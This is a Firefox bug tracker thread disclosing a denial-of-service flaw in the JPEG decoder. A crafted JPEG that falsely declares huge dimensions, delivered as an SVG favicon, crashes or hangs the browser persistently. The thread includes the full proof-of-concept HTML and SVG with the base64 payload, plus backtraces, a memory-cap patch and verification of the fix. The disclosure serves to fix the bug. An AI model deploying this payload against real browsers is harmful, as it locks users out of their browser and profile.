persistent browser DoS via favicon containing a small JPEG images that list their image dimensions as large
Categories
(Core :: Graphics: ImageLib, defect)
Tracking
()
People
(Reporter: sam.z.ezeh, Assigned: tnikkel)
References
(Blocks 1 open bug, )
Details
(5 keywords, Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main113+])
Attachments
(6 files, 2 obsolete files)
Summary
Upon loading a jpeg image with large dimensions, Firefox attempts to allocate a large amount of memory which in certain contexts can causes effects outside of the sandbox, causing Firefox to crash.
System configuration
- Firefox Developer Edition 100.0b9 (64-bit)
- Linux kernel version 5.17.4
Description
I was able create a single pixel image file of size 1.4kb. I then modified the binary image file data to list the dimensions of the image as 61680 x 61680. In order to render this image, Firefox attempts to allocate memory to store this image.
When a page that displays this image is rendered, the sandboxed tab crashes. However, when the image is viewed inside the Network Monitor, the Firefox application also crashes after it is killed by the OOM-killer.
Proof of Concept
- Loading the following image in the browser will cause the tab to crash: https://exploit-py.herokuapp.com/tiny.jpg
- Opening the Network Monitor and previewing the image (e.g. by hovering over the image name) will cause Firefox to crash.
sam@samtop ~ % firefox-developer-edition
ATTENTION: default value of option mesa_glthread overridden by environment.
ATTENTION: default value of option mesa_glthread overridden by environment.
ATTENTION: default value of option mesa_glthread overridden by environment.
Corrupt JPEG data: premature end of data segment
Exiting due to channel error.
Exiting due to channel error.
Exiting due to channel error.
[1] 47893 killed firefox-developer-edition
firefox-developer-edition 11.74s user 21.24s system 104% cpu 31.489 total
137 sam@samtop ~ %
Relevant code
In image/decoders/iccjpeg.c
https://hg.mozilla.org/mozilla-central/file/6e268f45bed2487cce05cfae5cabb7c1c8f415a6/image/decoders/iccjpeg.c#l159
/* Allocate space for assembled data */
icc_data = (JOCTET*)malloc(total_length * sizeof(JOCTET));
if (icc_data == NULL) {
return FALSE; /* oops, out of memory */
}
In image/decoders/nsJPEGDecoder.cpp
https://hg.mozilla.org/mozilla-central/file/6e268f45bed2487cce05cfae5cabb7c1c8f415a6/image/decoders/nsJPEGDecoder.cpp#l839
// Round up to multiple of 256 bytes.
const size_t roundup_buflen = ((new_backtrack_buflen + 255) >> 8) << 8;
JOCTET* buf = (JOCTET*)realloc(decoder->mBackBuffer, roundup_buflen);
// Check for OOM
if (!buf) {
decoder->mInfo.err->msg_code = JERR_OUT_OF_MEMORY;
my_error_exit((j_common_ptr)(&decoder->mInfo));
}
In media/libjpeg/jdhuff.c
https://searchfox.org/mozilla-central/source/media/libjpeg/jdhuff.c#354-373
no_more_bytes:
/* We get here if we've read the marker that terminates the compressed
* data segment. There should be enough bits in the buffer register
* to satisfy the request; if so, no problem.
*/
if (nbits > bits_left) {
/* Uh-oh. Report corrupted data to user and stuff zeroes into
* the data stream, so that we can produce some kind of image.
* We use a nonvolatile flag to ensure that only one warning message
* appears per data segment.
*/
if (!cinfo->entropy->insufficient_data) {
WARNMS(cinfo, JWRN_HIT_MARKER);
cinfo->entropy->insufficient_data = TRUE;
}
/* Fill the buffer with zero bits */
get_buffer <<= MIN_GET_BITS - bits_left;
bits_left = MIN_GET_BITS;
}
}
WARNMS(cinfo, JWRN_HIT_MARKER)
generates the Corrupt JPEG data: premature end of data segment
message.
In general, when Linux is configured to overcommit memory (this is the default configuration), malloc doesn't return 0 when there is no memory left.
It is also possible for the OOM killer to kill a process that isn't Firefox that happens to be vital to the function of the Operating System causing an OS crash.
Notes
In Chromium, upon loading this image does not crash. On chromium in certain contexts, the image with fail to load and is displayed as an invalid image file. In other contexts, the image will correctly be displayed as single pixel white image. This happens without causing excessive memory usage.
It's possible that images loaded from inside sandboxed tabs should not be loaded outside of the sandbox.
Updated•2 years ago
|
Comment 1•2 years ago
|
||
It is also possible for the OOM killer to kill a process that isn't Firefox that happens to be vital to the function of the Operating System causing an OS crash.
That part doesn't sound like a Firefox problem.
We do happily kill off sandboxed processes doing strange things -- now you know that place sucks, and don't go back.
We do try to avoid crashes that kill the parent process; let's see what we can do here. Luckily it's devtools triggered so I won't affect most users in practice.
Comment 2•2 years ago
|
||
fwiw the testcase doesn't crash on my mac.
Reporter | ||
Comment 3•2 years ago
|
||
Luckily it's devtools triggered so I won't affect most users in practice.
Loading the following page [1] will cause Firefox to crash as well. It's also relatively persistent as typing "secondary" into my URL bar or even just accessing today's browser history causes a crash.
The favicon is an SVG file that loads the image linked above.
Reporter | ||
Comment 4•2 years ago
|
||
On a fresh install, the page is displayed as a shortcut and Firefox becomes unusable.
Reporter | ||
Comment 5•2 years ago
|
||
I've just noticed the attachment section on this page. I'll reupload the documents directly to the bug tracker when I get the chance.
Reporter | ||
Comment 6•2 years ago
|
||
Reporter | ||
Comment 7•2 years ago
|
||
Reporter | ||
Comment 8•2 years ago
|
||
Oh, it looks like that only uploaded a document containing a link to the files.
Reporter | ||
Comment 9•2 years ago
|
||
Here is the text content of the web page.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title> Web page </title>
<link rel="icon" type="image/svg+xml" href="/favicon.svg">
</head>
<body>
page content
</body>
</html>
The following is the content of the SVG favicon.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="5cm" height="4cm" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEBLAEsAAD/4QCwRXhpZgAATU0AKgAAAAgABQEaAAUAAAABAAAASgEbAAUAAAABAAAAUgEoAAMAAAABAAIAAAITAAMAAAABAAEAAIdpAAQAAAABAAAAWgAAAAAAAAEsAAAAAQAAASwAAAABAAaQAAAHAAAABDAyMzKRAQAHAAAABAECAwCgAAAHAAAABDAxMDCgAQADAAAAAf//AACgAgADAAAAAf//AACgAwADAAAAAf//AAAAAAAA//4AE0NyZWF0ZWQgd2l0aCBHSU1Q/+ICsElDQ19QUk9GSUxFAAEBAAACoGxjbXMEMAAAbW50clJHQiBYWVogB+YAAgAUABAAAgAvYWNzcEFQUEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPbWAAEAAAAA0y1sY21zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANZGVzYwAAASAAAABAY3BydAAAAWAAAAA2d3RwdAAAAZgAAAAUY2hhZAAAAawAAAAsclhZWgAAAdgAAAAUYlhZWgAAAewAAAAUZ1hZWgAAAgAAAAAUclRSQwAAAhQAAAAgZ1RSQwAAAhQAAAAgYlRSQwAAAhQAAAAgY2hybQAAAjQAAAAkZG1uZAAAAlgAAAAkZG1kZAAAAnwAAAAkbWx1YwAAAAAAAAABAAAADGVuVVMAAAAkAAAAHABHAEkATQBQACAAYgB1AGkAbAB0AC0AaQBuACAAcwBSAEcAQm1sdWMAAAAAAAAAAQAAAAxlblVTAAAAGgAAABwAUAB1AGIAbABpAGMAIABEAG8AbQBhAGkAbgAAWFlaIAAAAAAAAPbWAAEAAAAA0y1zZjMyAAAAAAABDEIAAAXe///zJQAAB5MAAP2Q///7of///aIAAAPcAADAblhZWiAAAAAAAABvoAAAOPUAAAOQWFlaIAAAAAAAACSfAAAPhAAAtsRYWVogAAAAAAAAYpcAALeHAAAY2XBhcmEAAAAAAAMAAAACZmYAAPKnAAANWQAAE9AAAApbY2hybQAAAAAAAwAAAACj1wAAVHwAAEzNAACZmgAAJmcAAA9cbWx1YwAAAAAAAAABAAAADGVuVVMAAAAIAAAAHABHAEkATQBQbWx1YwAAAAAAAAABAAAADGVuVVMAAAAIAAAAHABzAFIARwBC/9sAQwADAgIDAgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4LCxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8IAEQjw8PDwAwERAAIRAQMRAf/EABQAAQAAAAAAAAAAAAAAAAAAAAj/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAFUn//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEAAQUCf//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQMBAT8Bf//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQIBAT8Bf//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEABj8Cf//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEAAT8hf//aAAwDAQACAAMAAAAQn//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQMBAT8Qf//EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQIBAT8Qf//EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gAIAQEAAT8Qf//Z" x="0" y="0" height="50px" width="50px"/>
</svg>
fwiw the testcase doesn't crash on my mac.
I should have clarified earlier that I only expect this to cause a crash on Linux systems. I have observed excess memory usage on Windows using the Task Manager but loading the image didn't lead to a crash. Using gnome-system-monitor
on the Linux installation also displayed excess memory usage and loading the image led to a crash.
Comment 10•2 years ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #1)
We do try to avoid crashes that kill the parent process; let's see what we can do here. Luckily it's devtools triggered so I won't affect most users in practice.
Do we need to re-evaluate the sec-low in light of comment #3 (using favicons to get this to hit the parent) ?
Comment 11•2 years ago
|
||
Updated•2 years ago
|
Updated•2 years ago
|
Comment hidden (duplicate) |
Comment hidden (duplicate) |
Updated•2 years ago
|
Comment 14•2 years ago
|
||
With the testcase in comment 3 my mac does hang the parent process for 30 seconds or so. And as mentioned in that comment I see the problem again (hang for me) when the awesomebar tries to display a match, and another hang when I open any of the various ways to open history (Hamburger or library toolbar icon menu, sidebar, old "Show all History" dialog). After I had opened the testcase on heroku and again on a local server the hang opening History was twice as long.
In my case I could "fix" the problem by deleting the entries from the history dialog once I'd waited out the hang. If this is instead a crash as described for Linux then users would be pretty stuck. If they can avoid crashing on start-up (see comment about how it gets incorporated into the new-tab page in a fresh profile since nothing else is there) users could go straight to the "Clear Recent History" menu item and get rid of the entries that way. Otherwise, the places database is not something a typical user can edit outside of Firefox itself so they're stuck.
Do we need to re-evaluate the sec-low in light of comment #3 (using favicons to get this to hit the parent) ?
It does turn a simple crash into a persistent DOS for affected users. It's worse as a usability problem than a "security" one, but we can raise the severity.
Reporter | ||
Comment 15•2 years ago
|
||
The backtrace indicates firefox gets stuck in DoDecode
in nsJPEGDecoder.cpp
when it calls ReadJPEGData
.
nsJPEGDecoder.cpp
DoDecode
LexerResult nsJPEGDecoder::DoDecode(SourceBufferIterator& aIterator,
IResumable* aOnResume) {
MOZ_ASSERT(!HasError(), "Shouldn't call DoDecode after error!");
return mLexer.Lex(aIterator, aOnResume,
[=](State aState, const char* aData, size_t aLength) {
switch (aState) {
case State::JPEG_DATA:
return ReadJPEGData(aData, aLength);
case State::FINISHED_JPEG_DATA:
return FinishedJPEGData();
}
MOZ_CRASH("Unknown State");
});
}
ReadJPEGData
LexerTransition<nsJPEGDecoder::State> nsJPEGDecoder::ReadJPEGData(
const char* aData, size_t aLength) {
...
mInfo.dct_method = JDCT_ISLOW;
mInfo.dither_mode = JDITHER_FS;
mInfo.do_fancy_upsampling = TRUE;
mInfo.enable_2pass_quant = FALSE;
mInfo.do_block_smoothing = TRUE;
// Step 5: Start decompressor
if (jpeg_start_decompress(&mInfo) == FALSE) {
MOZ_LOG(sJPEGDecoderAccountingLog, LogLevel::Debug,
("} (I/O suspension after jpeg_start_decompress())"));
return Transition::ContinueUnbuffered(
State::JPEG_DATA); // I/O suspension
}
...
case JPEG_DECOMPRESS_PROGRESSIVE: {
...
do {
status = jpeg_consume_input(&mInfo);
if (status == JPEG_REACHED_SOS || status == JPEG_REACHED_EOI ||
status == JPEG_SUSPENDED) {
// record the first scan where all components are present
all_components_seen = AllComponentsSeen(mInfo);
if (!scan_to_display_first && all_components_seen) {
scan_to_display_first = mInfo.input_scan_number;
}
}
} while ((status != JPEG_SUSPENDED) && (status != JPEG_REACHED_EOI));
I think setting mInfo->mem->max_memory_to_use
to a reasonable value will resolve this.
Backtraces
First backtrace
#0 0x00007ffff7b9adc0 in () at /usr/lib/libc.so.6
#1 0x000055555562f7c4 in __asan_memset() ()
at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:26
#2 0x00007fffe060a94e in jzero_far () at /builds/worker/checkouts/gecko/media/libjpeg/jutils.c:132
#3 0x00007fffe05fbfa1 in access_virt_barray () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:964
#4 0x00007fffe0586a91 in consume_data () at /builds/worker/checkouts/gecko/media/libjpeg/jdcoefct.c:205
#5 0x00007fffda309687 in ReadJPEGData() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:464
#6 0x00007fffda385dd5 in operator() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:186
#7 ContinueUnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)>(void)
() at /builds/worker/checkouts/gecko/image/StreamingLexer.h:555
#8 0x00007fffda3066f8 in UnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> () at /builds/worker/checkouts/gecko/image/StreamingLexer.h:501
#9 Lex<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> ()
at /builds/worker/checkouts/gecko/image/StreamingLexer.h:469
#10 DoDecode() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:182
#11 0x00007fffda1f697c in Decode() () at /builds/worker/checkouts/gecko/image/Decoder.cpp:177
#12 0x00007fffda205f27 in Run() () at /builds/worker/checkouts/gecko/image/DecodedSurfaceProvider.cpp:125
#13 0x00007fffda2050e9 in SyncRunIfPossible() () at /builds/worker/checkouts/gecko/image/DecodePool.cpp:193
Second backtrace
#0 0x00007ffff7b9adc0 in () at /usr/lib/libc.so.6
#1 0x00005555555b19bc in Allocate() ()
at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:588
#2 0x00005555555af5c4 in asan_malloc() ()
at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:953
#3 0x00005555556301be in __interceptor_malloc() ()
at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:70
#4 0x00007fffe05f9d9e in alloc_large () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:385
#5 0x00007fffe05fa2fc in alloc_barray () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:521
#6 0x00007fffe05fb131 in realize_virt_arrays () at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:735
#7 0x00007fffe05ba788 in master_selection () at /builds/worker/checkouts/gecko/media/libjpeg/jdmaster.c:561
#8 jinit_master_decompress () at /builds/worker/checkouts/gecko/media/libjpeg/jdmaster.c:725
#9 0x00007fffe057fdc2 in jpeg_start_decompress () at /builds/worker/checkouts/gecko/media/libjpeg/jdapistd.c:49
#10 0x00007fffda3091f5 in ReadJPEGData() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:400
#11 0x00007fffda385dd5 in operator() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:186
#12 ContinueUnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)>(void)
() at /builds/worker/checkouts/gecko/image/StreamingLexer.h:555
#13 0x00007fffda3066f8 in UnbufferedRead<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> () at /builds/worker/checkouts/gecko/image/StreamingLexer.h:501
#14 Lex<(lambda at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:183:21)> ()
at /builds/worker/checkouts/gecko/image/StreamingLexer.h:469
#15 DoDecode() () at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:182
Third backtrace using the debug build
#0 0x00007ffff7b9adc0 in () at /usr/lib/libc.so.6
#1 0x0000555555640234 in __asan_memset() ()
at /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:26
#2 0x00007fffd3eba69e in jzero_far (target=0x7ff9aa87eba0, bytestozero=140710284083200)
at /builds/worker/checkouts/gecko/media/libjpeg/jutils.c:132
#3 0x00007fffd3eb0a66 in access_virt_barray
(cinfo=0x61c00047e2b0, ptr=0x629001ac8540, start_row=891, num_rows=<optimized out>, writable=1)
at /builds/worker/checkouts/gecko/media/libjpeg/jmemmgr.c:964
#4 0x00007fffd3e53b0d in consume_data (cinfo=0x61c00047e2b0)
at /builds/worker/checkouts/gecko/media/libjpeg/jdcoefct.c:205
#5 0x00007fffd3e4bd28 in jpeg_consume_input (cinfo=0x61c00047e2b0)
at /builds/worker/checkouts/gecko/media/libjpeg/jdapimin.c:333
#6 0x00007fffc88e7f7d in mozilla::image::nsJPEGDecoder::ReadJPEGData(char const*, unsigned long)
(this=0x61c00047e080, aData=<optimized out>, aLength=<optimized out>)
at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:464
#7 0x00007fffc899d7b9 in mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8::operator()(mozilla::image::nsJPEGDecoder::State, char const*, unsigned long) const
(aState=<optimized out>, aData=0x7ff9aa7fc000 "", aLength=3, this=<optimized out>)
at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:186
#8 mozilla::image::StreamingLexer<mozilla::image::nsJPEGDecoder::State, 16ul>::ContinueUnbufferedRead<mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8>(char const*, unsigned long, unsigned long, mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8)
(this=0x61c00047e208, aData=<optimized out>, aLength=<optimized out>, aChunkLength=<optimized out>, aFunc=...)
at /builds/worker/checkouts/gecko/image/StreamingLexer.h:555
#9 0x00007fffc88e352b in mozilla::image::StreamingLexer<mozilla::image::nsJPEGDecoder::State, 16ul>::UnbufferedRead<mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8>(mozilla::image::SourceBufferIterator&, mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8) (this=0x0, aIterator=..., aFunc=...)
at /builds/worker/checkouts/gecko/image/StreamingLexer.h:501
#10 mozilla::image::StreamingLexer<mozilla::image::nsJPEGDecoder::State, 16ul>::Lex<mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8>(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*, mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)::$_8) (this=0x0, aIterator=..., aOnResume=0x61200001e9c0, aFunc=...)
at /builds/worker/checkouts/gecko/image/StreamingLexer.h:469
#11 mozilla::image::nsJPEGDecoder::DoDecode(mozilla::image::SourceBufferIterator&, mozilla::image::IResumable*)
(this=0x3c38, aIterator=<optimized out>, aOnResume=<optimized out>)
at /builds/worker/checkouts/gecko/image/decoders/nsJPEGDecoder.cpp:182
Reporter | ||
Comment 16•2 years ago
|
||
I've built firefox with this patch and the issue is resolved.
diff --git a/image/decoders/nsJPEGDecoder.cpp b/image/decoders/nsJPEGDecoder.cpp
--- a/image/decoders/nsJPEGDecoder.cpp
+++ b/image/decoders/nsJPEGDecoder.cpp
@@ -396,6 +396,9 @@ LexerTransition<nsJPEGDecoder::State> ns
mInfo.enable_2pass_quant = FALSE;
mInfo.do_block_smoothing = TRUE;
+ // Use a maximum of 100MB while loading images
+ mInfo.mem->max_memory_to_use = 100 * 1024 * 1024;
+
// Step 5: Start decompressor
if (jpeg_start_decompress(&mInfo) == FALSE) {
MOZ_LOG(sJPEGDecoderAccountingLog, LogLevel::Debug,
Reporter | ||
Comment 17•2 years ago
|
||
I've attached a more minimal html test case that reproduces the crash without requiring an external SVG file
Reporter | ||
Comment 18•2 years ago
|
||
My only thought right now is that the 100MB limit could be reduced even further.
Reporter | ||
Comment 19•2 years ago
|
||
Normally I submit tests with patches but I'm quite unfamiliar with the firefox test suite and I'm not sure how I'd integrate the example file. The following query however seems to suggest there isn't any more of this specific issue when processing jpeg images.
match cxxMethodDecl(
hasDescendant(
callExpr(
callee(
functionDecl(
hasName("jpeg_start_decompress")
)
)
)
),
unless(
hasDescendant(
binaryOperator(
isAssignmentOperator(),
hasLHS(
memberExpr(
member(
hasName("max_memory_to_use")
)
)
)
)
)
)
)
Assignee | ||
Comment 20•2 years ago
|
||
Probably the issue is already filed as one of bug 1277397, bug 1252200, bug 1462008.
In other places we have used SurfaceCache::CanHold to put some finite limit on memory used while decoding (ie https://searchfox.org/mozilla-central/rev/b4150d1c6fae0c51c522df2d2c939cf5ad331d4c/image/SurfaceFilters.h#232 ). This value is like about 2GB iirc. Much larger than the 100mb you have, but having any reasonable finite limit should be enough to avoid problems here.
Updated•2 years ago
|
Updated•2 years ago
|
Comment 21•2 years ago
|
||
(In reply to Timothy Nikkel (:tnikkel) from comment #20)
Probably the issue is already filed as one of bug 1277397, bug 1252200, bug 1462008.
True, those look similar and might be the same underlying "bug". But the trick of DoSing the parent by making it a favicon makes the impact worse. The favicon gets into your history so even when you restart you get DoS'd all over again every time the awesomebar brings up that match. If your machine has gobs of memory like mine and doesn't crash maybe you can eventually delete it out of history, but if you crash because not enough memory it's going to be stuck there until you create a new profile.
Assignee | ||
Updated•1 year ago
|
Assignee | ||
Comment 22•1 year ago
|
||
I posted a patch in bug 1277397 since I don't think the patch needs to be in a sec bug.
Assignee | ||
Comment 23•1 year ago
|
||
This should be fixed by bug 1277397 now.
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Updated•1 year ago
|
Comment 24•1 year ago
|
||
Comment 25•1 year ago
|
||
Hello I have managed to reproduce the issue with Firefox 101.0a1(2022-04-30) with the test case provided in comment 17 with Ubuntu 22.04. I can confirm that the issue is fixed with firefox 113.0 and 114.0a1(2023-05-03) on Ubuntu 22.04, MacOS 10.15 and Windows 10.
Updated•1 year ago
|
Updated•8 months ago
|
Updated•27 days ago
|
Description
•